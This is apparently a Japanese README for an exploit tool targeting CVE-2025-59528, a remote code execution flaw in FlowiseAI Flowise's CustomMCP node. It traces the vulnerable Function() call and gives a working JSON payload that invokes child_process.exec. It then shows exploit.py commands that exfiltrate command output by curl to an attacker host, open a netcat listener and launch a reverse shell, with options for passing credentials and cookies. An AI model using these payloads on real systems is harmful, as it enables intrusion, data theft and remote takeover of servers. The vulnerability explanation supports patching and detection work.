
CVE-2025-59528 - FlowiseAI CustomMCP リモートコード実行
CVSS 10.0(重大) | Blind RCE | FlowiseAI Flowise >= 2.2.7-patch.1 かつ < 3.0.6
CustomMCPノードにおける重大なリモートコード実行脆弱性。FlowiseAI FlowiseのconvertToValidJSONString関数は、mcpServerConfigパラメータから提供されたユーザー入力を、JavaScriptのFunction()コンストラクタ(機能的にはeval()と同等)に直接渡すため、Node.jsランタイムの全権限で任意のJavaScriptコードの実行が可能になります。
Function()をJSON5.parse()に置き換え)packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.tsの262~270行目:
function convertToValidJSONString(inputString) {
return Function('return ' + inputString)(); // ← arbitrary code execution
}
汚染フロー:
HTTP POST → /api/v1/node-load-method/customMCP
→ controller.getSingleNodeAsyncOptions()
→ service layer
→ CustomMCP.listActions()
→ convertToValidJSONString(mcpServerConfig) // Function('return ' + userInput)()
これはBlind RCEであり、コマンド出力はHTTPレスポンスに反映されません。コールバック技術(curl/wget)やリバースシェルを使用して実行を確認してください。
| 条件 | 詳細 |
|---|---|
| Flowise バージョン | >= 2.2.7-patch.1, < 3.0.6 |
| ネットワークアクセス | APIエンドポイント(ポート3000、デフォルト) |
| 認証 | 3.0.1未満では任意、3.0.1以上では必須 |
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "{x:(function(){const cp=process.mainModule.require('child_process');cp.exec('COMMAND',()=>{});return 1;})()}"
}
}
pip install requests
python3 exploit.py -t http://target:3000 --mode check --email [email protected] --password pass
# Exfiltrate output via callback
python3 exploit.py -t http://target:3000 --mode exec \
-c "curl http://ATTACKER:PORT/\$(id | base64)" \
--email [email protected] --password pass
# Start listener
nc -lvnp 4444
# Fire exploit (auto-tries bash, nc, python)
python3 exploit.py -t http://target:3000 --mode revshell \
--lhost ATTACKER_IP --lport 4444 \
--email [email protected] --password pass
# JWT auth (Flowise >= 3.0.1)
--email [email protected] --password pass
# Basic auth (Flowise < 3.0.1 with FLOWISE_USERNAME env)
--username admin --password pass
# Raw cookie string (fallback)
--cookie "token=eyJ...;refreshToken=eyJ...;connect.sid=s%3A..."
/api/v1/node-load-method/customMCPへのPOSTリクエストをログ監視このツールは、認可されたセキュリティテストおよび教育目的のみで提供されます。コンピュータシステムへの不正アクセスは違法です。テスト前に必ず適切な許可を得てください。